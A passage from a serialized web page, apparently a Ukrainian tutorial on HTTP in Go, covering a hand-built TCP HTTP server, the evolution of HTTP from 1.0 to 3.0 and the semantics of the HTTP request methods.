\u002F\u002F Формуємо HTTP-відповідь вручну\n",[5557,6772,6774,6777,6779,6782,6784,6787,6789,6792,6795,6797,6799,6801,6803,6805,6807,6810],{"class":5559,"line":6773},102,[5557,6775,6776],{"class":5654},"    response",[5557,6778,5663],{"class":5585},[5557,6780,6781],{"class":5654},"fmt",[5557,6783,5268],{"class":5585},[5557,6785,6786],{"class":5637},"Sprintf",[5557,6788,5673],{"class":5585},[5557,6790,6791],{"class":5592},"\"HTTP\u002F1.1 ",[5557,6793,6794],{"class":5654},"%d",[5557,6796,6241],{"class":5654},[5557,6798,5461],{"class":6358},[5557,6800,5723],{"class":5592},[5557,6802,5305],{"class":5585},[5557,6804,6647],{"class":5654},[5557,6806,5305],{"class":5585},[5557,6808,6809],{"class":5654},"statusText",[5557,6811,5623],{"class":5585},[5557,6813,6815,6817,6820,6822,6824,6826,6828,6831,6833,6835,6837,6839,6841],{"class":5559,"line":6814},103,[5557,6816,6776],{"class":5654},[5557,6818,6819],{"class":5585}," += ",[5557,6821,6781],{"class":5654},[5557,6823,5268],{"class":5585},[5557,6825,6786],{"class":5637},[5557,6827,5673],{"class":5585},[5557,6829,6830],{"class":5592},"\"Content-Type: ",[5557,6832,6238],{"class":5654},[5557,6834,5461],{"class":6358},[5557,6836,5723],{"class":5592},[5557,6838,5305],{"class":5585},[5557,6840,6655],{"class":5654},[5557,6842,5623],{"class":5585},[5557,6844,6846,6848,6850,6852,6854,6856,6858,6861,6863,6865,6867,6869,6872,6874,6876],{"class":5559,"line":6845},104,[5557,6847,6776],{"class":5654},[5557,6849,6819],{"class":5585},[5557,6851,6781],{"class":5654},[5557,6853,5268],{"class":5585},[5557,6855,6786],{"class":5637},[5557,6857,5673],{"class":5585},[5557,6859,6860],{"class":5592},"\"Content-Length: ",[5557,6862,6794],{"class":5654},[5557,6864,5461],{"class":6358},[5557,6866,5723],{"class":5592},[5557,6868,5305],{"class":5585},[5557,6870,6871],{"class":5637},"len",[5557,6873,5673],{"class":5585},[5557,6875,5531],{"class":5654},[5557,6877,6878],{"class":5585},"))\n",[5557,6880,6882,6884,6886,6889,6891,6893],{"class":5559,"line":6881},105,[5557,6883,6776],{"class":5654},[5557,6885,6819],{"class":5585},[5557,6887,6888],{"class":5592},"\"Connection: close",[5557,6890,5461],{"class":6358},[5557,6892,5723],{"class":5592},[5557,6894,6895],{"class":5647}," \u002F\u002F Закриваємо з'єднання після відповіді\n",[5557,6897,6899,6901,6903,6905,6907,6909],{"class":5559,"line":6898},106,[5557,6900,6776],{"class":5654},[5557,6902,6819],{"class":5585},[5557,6904,5723],{"class":5592},[5557,6906,5461],{"class":6358},[5557,6908,5723],{"class":5592},[5557,6910,6911],{"class":5647},"                  \u002F\u002F Порожній рядок перед тілом\n",[5557,6913,6915,6917,6919],{"class":5559,"line":6914},107,[5557,6916,6776],{"class":5654},[5557,6918,6819],{"class":5585},[5557,6920,6921],{"class":5654},"body\n",[5557,6923,6925],{"class":5559,"line":6924},108,[5557,6926,5575],{"emptyLinePlaceholder":5574},[5557,6928,6930],{"class":5559,"line":6929},109,[5557,6931,6932],{"class":5647},"    \u002F\u002F Записуємо відповідь у сокет\n",[5557,6934,6936,6939,6941,6943,6945,6947,6949,6952,6955,6958,6960,6963],{"class":5559,"line":6935},110,[5557,6937,6938],{"class":5654},"    _",[5557,6940,5305],{"class":5585},[5557,6942,5660],{"class":5654},[5557,6944,5663],{"class":5585},[5557,6946,5909],{"class":5654},[5557,6948,5268],{"class":5585},[5557,6950,6951],{"class":5637},"Write",[5557,6953,6954],{"class":5585},"([]",[5557,6956,6957],{"class":5567},"byte",[5557,6959,5673],{"class":5585},[5557,6961,6962],{"class":5654},"response",[5557,6964,6878],{"class":5585},[5557,6966,6968,6970,6972,6974,6976],{"class":5559,"line":6967},111,[5557,6969,5689],{"class":5581},[5557,6971,5692],{"class":5654},[5557,6973,5695],{"class":5585},[5557,6975,5698],{"class":5563},[5557,6977,5701],{"class":5585},[5557,6979,6981,6983,6985,6987,6989,6992,6994,6996,6998,7000],{"class":5559,"line":6980},112,[5557,6982,5707],{"class":5654},[5557,6984,5268],{"class":5585},[5557,6986,5857],{"class":5637},[5557,6988,5673],{"class":5585},[5557,6990,6991],{"class":5592},"\"Помилка запису відповіді: ",[5557,6993,5720],{"class":5654},[5557,6995,5723],{"class":5592},[5557,6997,5305],{"class":5585},[5557,6999,5660],{"class":5654},[5557,7001,5623],{"class":5585},[5557,7003,7005],{"class":5559,"line":7004},113,[5557,7006,5735],{"class":5585},[5557,7008,7010],{"class":5559,"line":7009},114,[5557,7011,5922],{"class":5585},[5348,7013,7014],{},"Цей сервер можна запустити командою:",[5464,7016,7020],{"className":7017,"code":7018,"language":7019,"meta":5472,"style":5472},"language-bash shiki shiki-themes light-plus dark-plus dark-plus","go run cmd\u002Fhttp-tcp-server\u002Fmain.go\n","bash",[5236,7021,7022],{"__ignoreMap":5472},[5557,7023,7024,7026,7029],{"class":5559,"line":5560},[5557,7025,5553],{"class":5637},[5557,7027,7028],{"class":5592}," run",[5557,7030,7031],{"class":5592}," cmd\u002Fhttp-tcp-server\u002Fmain.go\n",[5348,7033,7034,7035,7038],{},"Тепер відкрийте браузер та перейдіть за адресою ",[5236,7036,7037],{},"http:\u002F\u002Flocalhost:8080\u002Fhello"," — ви побачите HTML-сторінку. Або виконайте у терміналі:",[5464,7040,7042],{"className":7017,"code":7041,"language":7019,"meta":5472,"style":5472},"curl http:\u002F\u002Flocalhost:8080\u002Fjson\n",[5236,7043,7044],{"__ignoreMap":5472},[5557,7045,7046,7049],{"class":5559,"line":5560},[5557,7047,7048],{"class":5637},"curl",[5557,7050,7051],{"class":5592}," http:\u002F\u002Flocalhost:8080\u002Fjson\n",[5348,7053,7054],{},"Ви отримаєте JSON-відповідь:",[5464,7056,7059],{"className":7057,"code":7058,"language":6560,"meta":5472,"style":5472},"language-json shiki shiki-themes light-plus dark-plus dark-plus","{\"message\": \"Це JSON відповідь\", \"server\": \"custom-tcp-http\", \"version\": \"1.0\"}\n",[5236,7060,7061],{"__ignoreMap":5472},[5557,7062,7063,7066,7070,7072,7075,7077,7080,7082,7085,7087,7090,7092,7095],{"class":5559,"line":5560},[5557,7064,7065],{"class":5585},"{",[5557,7067,7069],{"class":7068},"sLwNe","\"message\"",[5557,7071,6704],{"class":5585},[5557,7073,7074],{"class":5592},"\"Це JSON відповідь\"",[5557,7076,5305],{"class":5585},[5557,7078,7079],{"class":7068},"\"server\"",[5557,7081,6704],{"class":5585},[5557,7083,7084],{"class":5592},"\"custom-tcp-http\"",[5557,7086,5305],{"class":5585},[5557,7088,7089],{"class":7068},"\"version\"",[5557,7091,6704],{"class":5585},[5557,7093,7094],{"class":5592},"\"1.0\"",[5557,7096,5922],{"class":5585},[7098,7099,7100,7110,7144],"warning",{},[5348,7101,7102,7105,7106,7109],{},[5205,7103,7104],{},"Чому цей підхід не використовується в реальних застосунках:"," Хоча наш TCP-сервер функціонує, він є ",[5205,7107,7108],{},"надзвичайно спрощеним"," і не підтримує критично важливих функцій HTTP\u002F1.1:",[5198,7111,7112,7122,7129,7132,7135,7138],{},[5201,7113,7114,7115,5305,7118,7121],{},"Ми не обробляємо заголовки запиту (наприклад, ",[5236,7116,7117],{},"Content-Length",[5236,7119,7120],{},"Transfer-Encoding: chunked",").",[5201,7123,7124,7125,7128],{},"Ми не підтримуємо постійні з'єднання (",[5236,7126,7127],{},"Connection: keep-alive",") — після кожної відповіді сокет закривається.",[5201,7130,7131],{},"Ми не читаємо тіло запиту (наприклад, дані POST-форми або JSON).",[5201,7133,7134],{},"Ми не обробляємо складні HTTP-методи (PUT, PATCH, DELETE, OPTIONS, HEAD).",[5201,7136,7137],{},"Ми не підтримуємо HTTP\u002F2 або HTTP\u002F3.",[5201,7139,7140,7141,7143],{},"Ми не перевіряємо заголовок ",[5236,7142,5518],{}," для віртуального хостингу.",[5348,7145,7146,7147,7150,7151,7153],{},"Цей приклад демонструє ",[5205,7148,7149],{},"фундаментальні принципи",", але для реальних застосунків ми завжди використовуємо стандартний пакет ",[5236,7152,5238],{},", який реалізує всю складність специфікації RFC 7230–7235.",[5340,7155],{},[5343,7157,7159],{"id":7158},"еволюція-протоколу-http-від-10-до-30","Еволюція протоколу HTTP: від 1.0 до 3.0",[5348,7161,7162,7163,7165],{},"Щоб по-справжньому оцінити архітектурні рішення, закладені у стандартний пакет ",[5236,7164,5238],{}," мови Go, необхідно зрозуміти історичну еволюцію самого протоколу HTTP та ті проблеми, які кожна нова версія намагалася вирішити.",[7167,7168,7170],"h3",{"id":7169},"http10-1996-народження-вебу","HTTP\u002F1.0 (1996): народження вебу",[5348,7172,7173,7174,5226,7177,7180,7181,7184],{},"Специфікація ",[5205,7175,7176],{},"HTTP\u002F1.0",[5228,7178,7179],{},"RFC 1945",") була оформлена у 1996 році і вже містила концепції методів (GET, POST, HEAD), статус-кодів та заголовків. Але архітектура HTTP\u002F1.0 мала фундаментальну проблему: ",[5205,7182,7183],{},"кожен запит вимагав окремого TCP-з'єднання",". Процес виглядав так:",[5477,7186,7187,7190,7193,7196],{},[5201,7188,7189],{},"Клієнт встановлює TCP-з'єднання з сервером (3-way handshake).",[5201,7191,7192],{},"Клієнт відправляє HTTP-запит.",[5201,7194,7195],{},"Сервер відправляє HTTP-відповідь.",[5201,7197,7198],{},"З'єднання закривається (4-way termination).",[5348,7200,7201,7202,7205,7206,7209,7210,7213],{},"Якщо вебсторінка містила HTML-документ, 10 зображень, 3 CSS-файли та 5 JavaScript-файлів, браузер повинен був встановити та закрити ",[5205,7203,7204],{},"19 окремих TCP-з'єднань",". Кожне з'єднання вимагає мережевого рукостискання (затримка RTT — ",[5228,7207,7208],{},"Round-Trip Time","), виділення пам'яті на сервері, налаштування вікна перегляду TCP (",[5228,7211,7212],{},"congestion window","). Для сторінок із десятками ресурсів це створювало величезні накладні витрати.",[7167,7215,7217],{"id":7216},"http11-1997-постійні-зєднання-та-конвеєри","HTTP\u002F1.1 (1997): постійні з'єднання та конвеєри",[5348,7219,7173,7220,5226,7222,7225,7226,7229,7230,5226,7233,7236,7237,7239,7240,7243],{},[5205,7221,5498],{},[5228,7223,7224],{},"RFC 2616",", пізніше оновлена у ",[5228,7227,7228],{},"RFC 7230–7235",") вирішила головну проблему попередника: було введено концепцію ",[5205,7231,7232],{},"постійних з'єднань",[5228,7234,7235],{},"persistent connections",") через заголовок ",[5236,7238,7127],{},". Тепер одне TCP-з'єднання могло обслуговувати ",[5205,7241,7242],{},"декілька послідовних запитів"," без необхідності повторного рукостискання. Це радикально зменшило затримки та навантаження на сервер.",[5348,7245,7246],{},"HTTP\u002F1.1 також додав:",[5198,7248,7249,7258,7264,7270],{},[5201,7250,7251,7257],{},[5205,7252,7253,7254,7256],{},"Заголовок ",[5236,7255,5518],{},":"," дозволяє одному серверу обслуговувати десятки доменів на одній IP-адресі (віртуальний хостинг).",[5201,7259,7260,7263],{},[5205,7261,7262],{},"Chunked Transfer Encoding:"," можливість передавати відповідь частинами без заздалегідь відомої довжини (критично для потокового відео або серверних подій).",[5201,7265,7266,7269],{},[5205,7267,7268],{},"Нові методи:"," PUT, PATCH, DELETE, OPTIONS для RESTful API.",[5201,7271,7272,7275,7276,5305,7279,5305,7282,5268],{},[5205,7273,7274],{},"Кешування:"," розширені механізми керування кешем через заголовки ",[5236,7277,7278],{},"Cache-Control",[5236,7280,7281],{},"ETag",[5236,7283,7284],{},"If-None-Match",[5348,7286,7287,7288,5226,7291,7294],{},"Проте HTTP\u002F1.1 все ще мав проблему ",[5205,7289,7290],{},"блокування на початку черги",[5228,7292,7293],{},"Head-of-Line Blocking","): якщо перший запит у черзі оброблюється повільно (наприклад, завантаження великого файлу), всі наступні запити в тому самому з'єднанні змушені чекати.",[7167,7296,7298],{"id":7297},"http2-2015-мультиплексування-та-бінарний-протокол","HTTP\u002F2 (2015): мультиплексування та бінарний протокол",[5348,7300,7301,5226,7304,7307,7308,7311,7312,5226,7315,7318,7319,7322],{},[5205,7302,7303],{},"HTTP\u002F2",[5228,7305,7306],{},"RFC 7540",") став революційним кроком: протокол перейшов з текстового формату на ",[5205,7309,7310],{},"бінарний фреймовий формат",", що дозволило реалізувати ",[5205,7313,7314],{},"мультиплексування",[5228,7316,7317],{},"multiplexing",") — передачу декількох логічних потоків (",[5228,7320,7321],{},"streams",") одночасно в межах одного TCP-з'єднання. Тепер браузер міг відправити 100 запитів одночасно, і сервер міг відповідати на них у будь-якому порядку, розподіляючи байти між потоками за пріоритетами.",[5348,7324,7325],{},"HTTP\u002F2 також запровадив:",[5198,7327,7328,7341,7347],{},[5201,7329,7330,7333,7334,5305,7337,7340],{},[5205,7331,7332],{},"Стиснення заголовків (HPACK):"," багато заголовків повторюються в кожному запиті (наприклад, ",[5236,7335,7336],{},"User-Agent",[5236,7338,7339],{},"Cookie","), HPACK стискає їх у компактні індекси.",[5201,7342,7343,7346],{},[5205,7344,7345],{},"Server Push:"," сервер може ініціативно відправити ресурси клієнту ще до того, як той їх запросить (наприклад, CSS\u002FJS при запиті HTML).",[5201,7348,7349,7352],{},[5205,7350,7351],{},"Пріоритизація потоків:"," клієнт може вказати, які ресурси важливіші, щоб сервер обробляв їх першими.",[5348,7354,7355,7356,7359],{},"Проте HTTP\u002F2 все ще працює поверх ",[5205,7357,7358],{},"TCP",", і якщо на мережевому рівні втрачається один TCP-пакет, весь потік блокується до його повторної передачі (TCP Head-of-Line Blocking на рівні транспорту).",[7167,7361,7363],{"id":7362},"http3-2022-quic-замість-tcp","HTTP\u002F3 (2022): QUIC замість TCP",[5348,7365,7366,5226,7369,7372,7373,5226,7376,5305,7379,7382,7383,7386],{},[5205,7367,7368],{},"HTTP\u002F3",[5228,7370,7371],{},"RFC 9114",") вирішив останню проблему, повністю замінивши транспортний протокол: замість TCP використовується ",[5205,7374,7375],{},"QUIC",[5228,7377,7378],{},"Quick UDP Internet Connections",[5228,7380,7381],{},"RFC 9000",") — протокол, побудований поверх ",[5205,7384,7385],{},"UDP",", але з вбудованою надійністю, шифруванням (TLS 1.3 інтегровано в QUIC) та підтримкою множинних потоків без блокування.",[5348,7388,7389],{},"Основні переваги HTTP\u002F3:",[5198,7391,7392,7398,7404],{},[5201,7393,7394,7397],{},[5205,7395,7396],{},"Усунення Head-of-Line Blocking:"," втрата пакета впливає лише на один логічний потік, інші продовжують працювати.",[5201,7399,7400,7403],{},[5205,7401,7402],{},"Швидше встановлення з'єднання:"," QUIC об'єднує криптографічне рукостискання та транспортне з'єднання в один крок (0-RTT при повторному підключенні).",[5201,7405,7406,7409,7410,7413],{},[5205,7407,7408],{},"Стійкість до зміни мережі:"," QUIC ідентифікує з'єднання не за IP-адресою, а за унікальним ",[5205,7411,7412],{},"Connection ID",", тому перехід зі Wi-Fi на мобільний інтернет не обриває з'єднання.",[5348,7415,7416,7417,7420,7421,7423],{},"Станом на 2026 рік HTTP\u002F3 підтримується всіма основними браузерами, CDN-провайдерами (Cloudflare, Fastly, Akamai) та вебсерверами (nginx, Caddy). У Go підтримка HTTP\u002F3 реалізована через сторонню бібліотеку ",[5236,7418,7419],{},"quic-go",", оскільки стандартна бібліотека ",[5236,7422,5238],{}," поки що офіційно підтримує лише HTTP\u002F1.1 та HTTP\u002F2.",[7425,7426,7428],"plant-uml",{"alt":7427},"Еволюція HTTP: порівняння версій протоколу",[5464,7429,7433],{"className":7430,"code":7431,"language":7432,"meta":5472,"style":5472},"language-plantuml shiki shiki-themes light-plus dark-plus dark-plus","@startuml\nskinparam style plain\nskinparam backgroundColor #FFFFFF\n\npackage \"HTTP\u002F1.0 (1996)\" #FEE2E2 {\n    note as N1\n        ❌ Одне з'єднання = один запит\n        ❌ Висока латентність RTT\n        ❌ Неефективне для багатьох ресурсів\n    end note\n}\n\npackage \"HTTP\u002F1.1 (1997)\" #FEF3C7 {\n    note as N2\n        ✅ Постійні з'єднання (keep-alive)\n        ✅ Віртуальний хостинг (Host)\n        ⚠️ Head-of-Line Blocking у черзі\n    end note\n}\n\npackage \"HTTP\u002F2 (2015)\" #DBEAFE {\n    note as N3\n        ✅ Бінарний фреймовий протокол\n        ✅ Мультиплексування потоків\n        ✅ Стиснення заголовків (HPACK)\n        ⚠️ TCP Head-of-Line Blocking\n    end note\n}\n\npackage \"HTTP\u002F3 (2022)\" #DCFCE7 {\n    note as N4\n        ✅ Транспорт QUIC (поверх UDP)\n        ✅ Нуль RTT при повторному з'єднанні\n        ✅ Немає блокування на рівні транспорту\n        ✅ Стійкість до зміни IP\n    end note\n}\n\nN1 -down-> N2 : еволюція\nN2 -down-> N3 : еволюція\nN3 -down-> N4 : еволюція\n@enduml\n","plantuml",[5236,7434,7435,7440,7445,7450,7454,7459,7464,7469,7474,7479,7484,7488,7492,7497,7502,7507,7512,7517,7521,7525,7529,7534,7539,7544,7549,7554,7559,7563,7567,7571,7576,7581,7586,7591,7596,7601,7605,7609,7613,7618,7623,7628],{"__ignoreMap":5472},[5557,7436,7437],{"class":5559,"line":5560},[5557,7438,7439],{},"@startuml\n",[5557,7441,7442],{"class":5559,"line":5571},[5557,7443,7444],{},"skinparam style plain\n",[5557,7446,7447],{"class":5559,"line":5578},[5557,7448,7449],{},"skinparam backgroundColor #FFFFFF\n",[5557,7451,7452],{"class":5559,"line":5589},[5557,7453,5575],{"emptyLinePlaceholder":5574},[5557,7455,7456],{"class":5559,"line":5596},[5557,7457,7458],{},"package \"HTTP\u002F1.0 (1996)\" #FEE2E2 {\n",[5557,7460,7461],{"class":5559,"line":5602},[5557,7462,7463],{},"    note as N1\n",[5557,7465,7466],{"class":5559,"line":5608},[5557,7467,7468],{},"        ❌ Одне з'єднання = один запит\n",[5557,7470,7471],{"class":5559,"line":5614},[5557,7472,7473],{},"        ❌ Висока латентність RTT\n",[5557,7475,7476],{"class":5559,"line":5620},[5557,7477,7478],{},"        ❌ Неефективне для багатьох ресурсів\n",[5557,7480,7481],{"class":5559,"line":5626},[5557,7482,7483],{},"    end note\n",[5557,7485,7486],{"class":5559,"line":5631},[5557,7487,5922],{},[5557,7489,7490],{"class":5559,"line":5644},[5557,7491,5575],{"emptyLinePlaceholder":5574},[5557,7493,7494],{"class":5559,"line":5651},[5557,7495,7496],{},"package \"HTTP\u002F1.1 (1997)\" #FEF3C7 {\n",[5557,7498,7499],{"class":5559,"line":5686},[5557,7500,7501],{},"    note as N2\n",[5557,7503,7504],{"class":5559,"line":5704},[5557,7505,7506],{},"        ✅ Постійні з'єднання (keep-alive)\n",[5557,7508,7509],{"class":5559,"line":5732},[5557,7510,7511],{},"        ✅ Віртуальний хостинг (Host)\n",[5557,7513,7514],{"class":5559,"line":5738},[5557,7515,7516],{},"        ⚠️ Head-of-Line Blocking у черзі\n",[5557,7518,7519],{"class":5559,"line":5755},[5557,7520,7483],{},[5557,7522,7523],{"class":5559,"line":5760},[5557,7524,5922],{},[5557,7526,7527],{"class":5559,"line":5778},[5557,7528,5575],{"emptyLinePlaceholder":5574},[5557,7530,7531],{"class":5559,"line":5794},[5557,7532,7533],{},"package \"HTTP\u002F2 (2015)\" #DBEAFE {\n",[5557,7535,7536],{"class":5559,"line":5799},[5557,7537,7538],{},"    note as N3\n",[5557,7540,7541],{"class":5559,"line":5807},[5557,7542,7543],{},"        ✅ Бінарний фреймовий протокол\n",[5557,7545,7546],{"class":5559,"line":5813},[5557,7547,7548],{},"        ✅ Мультиплексування потоків\n",[5557,7550,7551],{"class":5559,"line":5835},[5557,7552,7553],{},"        ✅ Стиснення заголовків (HPACK)\n",[5557,7555,7556],{"class":5559,"line":5849},[5557,7557,7558],{},"        ⚠️ TCP Head-of-Line Blocking\n",[5557,7560,7561],{"class":5559,"line":5875},[5557,7562,7483],{},[5557,7564,7565],{"class":5559,"line":5881},[5557,7566,5922],{},[5557,7568,7569],{"class":5559,"line":5887},[5557,7570,5575],{"emptyLinePlaceholder":5574},[5557,7572,7573],{"class":5559,"line":5892},[5557,7574,7575],{},"package \"HTTP\u002F3 (2022)\" #DCFCE7 {\n",[5557,7577,7578],{"class":5559,"line":5898},[5557,7579,7580],{},"    note as N4\n",[5557,7582,7583],{"class":5559,"line":5914},[5557,7584,7585],{},"        ✅ Транспорт QUIC (поверх UDP)\n",[5557,7587,7588],{"class":5559,"line":5919},[5557,7589,7590],{},"        ✅ Нуль RTT при повторному з'єднанні\n",[5557,7592,7593],{"class":5559,"line":5925},[5557,7594,7595],{},"        ✅ Немає блокування на рівні транспорту\n",[5557,7597,7598],{"class":5559,"line":5930},[5557,7599,7600],{},"        ✅ Стійкість до зміни IP\n",[5557,7602,7603],{"class":5559,"line":5952},[5557,7604,7483],{},[5557,7606,7607],{"class":5559,"line":5966},[5557,7608,5922],{},[5557,7610,7611],{"class":5559,"line":5971},[5557,7612,5575],{"emptyLinePlaceholder":5574},[5557,7614,7615],{"class":5559,"line":5977},[5557,7616,7617],{},"N1 -down-> N2 : еволюція\n",[5557,7619,7620],{"class":5559,"line":5998},[5557,7621,7622],{},"N2 -down-> N3 : еволюція\n",[5557,7624,7625],{"class":5559,"line":6003},[5557,7626,7627],{},"N3 -down-> N4 : еволюція\n",[5557,7629,7630],{"class":5559,"line":6009},[5557,7631,7632],{},"@enduml\n",[5430,7634,7635,7641,7642,7644,7645,5222,7647,7649,7650,7653,7654,7657,7658,5268],{},[5205,7636,7637,7638,7640],{},"Що підтримує стандартний пакет ",[5236,7639,5238],{}," у Go:"," Станом на Go 1.22, пакет ",[5236,7643,5238],{}," автоматично підтримує ",[5205,7646,5498],{},[5205,7648,7303],{}," (якщо з'єднання захищене TLS). Вам не потрібно нічого змінювати у коді — Go-рантайм автоматично визначає, яку версію протоколу підтримує клієнт (через механізм ",[5205,7651,7652],{},"ALPN"," — ",[5228,7655,7656],{},"Application-Layer Protocol Negotiation"," у TLS-рукостисканні), і обирає найкращу. Для підтримки HTTP\u002F3 необхідно використовувати сторонню бібліотеку ",[5236,7659,7660],{},"github.com\u002Fquic-go\u002Fquic-go",[5340,7662],{},[5343,7664,7666],{"id":7665},"анатомія-http-запиту-розбір-структури-на-молекули","Анатомія HTTP-запиту: розбір структури на молекули",[5348,7668,7669,7670,5226,7673,7675,7676,5226,7679,7681,7682,5226,7685,7687],{},"Кожен HTTP-запит складається з трьох основних компонентів: ",[5205,7671,7672],{},"стартовий рядок",[5228,7674,5486],{},"), ",[5205,7677,7678],{},"заголовки",[5228,7680,5506],{},") та опціональне ",[5205,7683,7684],{},"тіло",[5228,7686,5531],{},"). Розглянемо детально кожен елемент.",[7167,7689,7691],{"id":7690},"стартовий-рядок-метод-uri-та-версія-протоколу","Стартовий рядок: метод, URI та версія протоколу",[5348,7693,7694],{},"Стартовий рядок має наступний формат:",[5464,7696,7699],{"className":7697,"code":7698,"language":5469},[5467],"METHOD REQUEST-URI HTTP-VERSION\\r\\n\n",[5236,7700,7698],{"__ignoreMap":5472},[5348,7702,7703],{},"Приклади:",[5464,7705,7708],{"className":7706,"code":7707,"language":5469},[5467],"GET \u002Fapi\u002Fv1\u002Fusers HTTP\u002F1.1\nPOST \u002Fauth\u002Flogin HTTP\u002F1.1\nPUT \u002Fapi\u002Fv1\u002Fusers\u002F42 HTTP\u002F2.0\nDELETE \u002Fapi\u002Fv1\u002Fposts\u002F123 HTTP\u002F1.1\n",[5236,7709,7707],{"__ignoreMap":5472},[5348,7711,7712],{},[5205,7713,7714],{},"Компоненти:",[5477,7716,7717,7723,7732],{},[5201,7718,7719,7722],{},[5205,7720,7721],{},"METHOD"," — HTTP-метод, який визначає тип операції: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS, CONNECT, TRACE.",[5201,7724,7725,7728,7729,5268],{},[5205,7726,7727],{},"REQUEST-URI"," — шлях до ресурсу на сервері, може містити query-параметри: ",[5236,7730,7731],{},"\u002Fapi\u002Fusers?page=2&limit=20",[5201,7733,7734,7737,7738,5305,7740,7743],{},[5205,7735,7736],{},"HTTP-VERSION"," — версія протоколу: ",[5236,7739,5498],{},[5236,7741,7742],{},"HTTP\u002F2.0"," тощо.",[7167,7745,7747],{"id":7746},"http-методи-семантика-та-властивості","HTTP-методи: семантика та властивості",[5348,7749,7750,7751,5226,7754,7757],{},"Кожен HTTP-метод має чітко визначену ",[5205,7752,7753],{},"семантику",[5228,7755,7756],{},"meaning",") згідно зі специфікацією RFC 7231. Розглянемо найпоширеніші методи:",[7759,7760,7762],"h4",{"id":7761},"get-безпечне-отримання-ресурсу","GET: безпечне отримання ресурсу",[5198,7764,7765,7771,7796],{},[5201,7766,7767,7770],{},[5205,7768,7769],{},"Призначення:"," отримання представлення ресурсу без зміни стану сервера.",[5201,7772,7773,7776],{},[5205,7774,7775],{},"Властивості:",[5198,7777,7778,7784,7790],{},[5201,7779,7780,7783],{},[5205,7781,7782],{},"Safe (безпечний):"," виклик методу GET не повинен змінювати стан сервера.",[5201,7785,7786,7789],{},[5205,7787,7788],{},"Idempotent (ідемпотентний):"," багаторазовий виклик дає той самий результат, що й одноразовий.",[5201,7791,7792,7795],{},[5205,7793,7794],{},"Cacheable (кешується):"," відповіді можуть зберігатися в кеші браузера або проксі-серверів.",[5201,7797,7798,7800],{},[5205,7799,7703],{},[5198,7801,7802,7808,7814],{},[5201,7803,7804,7807],{},[5236,7805,7806],{},"GET \u002Fapi\u002Fv1\u002Fusers"," — отримання списку користувачів.",[5201,7809,7810,7813],{},[5236,7811,7812],{},"GET \u002Fapi\u002Fv1\u002Fusers\u002F42"," — отримання даних користувача з ID = 42.",[5201,7815,7816,7819],{},[5236,7817,7818],{},"GET \u002Fapi\u002Fv1\u002Fproducts?category=electronics&sort=price"," — отримання відфільтрованого списку.",[7759,7821,7823],{"id":7822},"post-створення-нового-ресурсу","POST: створення нового ресурсу",[5198,7825,7826,7831,7855],{},[5201,7827,7828,7830],{},[5205,7829,7769],{}," створення нового ресурсу або виконання дії, яка змінює стан сервера.",[5201,7832,7833,7835],{},[5205,7834,7775],{},[5198,7836,7837,7843,7849],{},[5201,7838,7839,7842],{},[5205,7840,7841],{},"Not Safe:"," POST завжди змінює стан сервера (наприклад, додає запис у базу даних).",[5201,7844,7845,7848],{},[5205,7846,7847],{},"Not Idempotent:"," повторний виклик POST може створити дублікати (наприклад, два користувачі з однаковими даними).",[5201,7850,7851,7854],{},[5205,7852,7853],{},"Not Cacheable (за замовчуванням):"," відповіді POST не кешуються.",[5201,7856,7857,7859],{},[5205,7858,7703],{},[5198,7860,7861,7867],{},[5201,7862,7863,7866],{},[5236,7864,7865],{},"POST \u002Fapi\u002Fv1\u002Fusers"," з тілом JSON — створення нового користувача.",[5201,7868,7869,7872,7873,7876],{},[5236,7870,7871],{},"POST \u002Fauth\u002Flogin"," з тілом ",[5236,7874,7875],{},"{\"email\": \"...\", \"password\": \"...\"}"," — вхід у систему.",[7759,7878,7880],{"id":7879},"put-повна-заміна-ресурсу","PUT: повна заміна ресурсу",[5198,7882,7883,7888,7909],{},[5201,7884,7885,7887],{},[5205,7886,7769],{}," повна заміна існуючого ресурсу новим представленням або створення ресурсу за конкретним URI, якщо його не існує.",[5201,7889,7890,7892],{},[5205,7891,7775],{},[5198,7893,7894,7899],{},[5201,7895,7896,7898],{},[5205,7897,7841],{}," змінює стан сервера.",[5201,7900,7901,7904,7905,7908],{},[5205,7902,7903],{},"Idempotent:"," повторний виклик ",[5236,7906,7907],{},"PUT \u002Fapi\u002Fv1\u002Fusers\u002F42"," з тим самим тілом дає той самий результат.",[5201,7910,7911,7913],{},[5205,7912,7703],{},[5198,7914,7915],{},[5201,7916,7917,7919],{},[5236,7918,7907],{}," з повним об'єктом користувача — заміна всіх полів.",[7759,7921,7923],{"id":7922},"patch-часткове-оновлення-ресурсу","PATCH: часткове оновлення ресурсу",[5198,7925,7926,7931,7948],{},[5201,7927,7928,7930],{},[5205,7929,7769],{}," часткова модифікація існуючого ресурсу (зміна лише окремих полів).",[5201,7932,7933,7935],{},[5205,7934,7775],{},[5198,7936,7937,7942],{},[5201,7938,7939,7941],{},[5205,7940,7841],{}," змінює стан.",[5201,7943,7944,7947],{},[5205,7945,7946],{},"Idempotent (за бажанням):"," залежить від реалізації. Якщо PATCH встановлює абсолютні значення полів, він ідемпотентний. Якщо виконує відносні операції (наприклад, збільшити лічильник на 1), то ні.",[5201,7949,7950,7952],{},[5205,7951,7703],{},[5198,7953,7954],{},[5201,7955,7956,7872,7959,7962],{},[5236,7957,7958],{},"PATCH \u002Fapi\u002Fv1\u002Fusers\u002F42",[5236,7960,7961],{},"{\"email\": \"new@example.com\"}"," — зміна лише email.",[7759,7964,7966],{"id":7965},"delete-видалення-ресурсу","DELETE: видалення ресурсу",[5198,7968,7969,7974,7989],{},[5201,7970,7971,7973],{},[5205,7972,7769],{}," видалення ресурсу на сервері.",[5201,7975,7976,7978],{},[5205,7977,7775],{},[5198,7979,7980,7984],{},[5201,7981,7982,7941],{},[5205,7983,7841],{},[5201,7985,7986,7988],{},[5205,7987,7903],{}," перший виклик видаляє ресурс, всі наступні виклики повертають 404 Not Found, але стан сервера більше не змінюється.",[5201,7990,7991,7993],{},[5205,7992,7703],{},[5198,7994,7995],{},[5201,7996,7997,8000],{},[5236,7998,7999],{},"DELETE \u002Fapi\u002Fv1\u002Fposts\u002F123"," — видалення поста.",[7759,8002,8004],{"id":8003},"head-отримання-лише-заголовків","HEAD: отримання лише заголовків",[5198,8006,8007,8012],{},[5201,8008,8009,8011],{},[5205,8010,7769],{}," отримання метаданих ресурсу без тіла відповіді (корисно для перевірки існування файлу або його розміру).",[5201,8013,8014,8016],{},[5205,8015,7775],{}," Safe, Idempotent, Cacheable.",[7759,8018,8020],{"id":8019},"options-визначення-доступних-методів","OPTIONS: визначення доступних 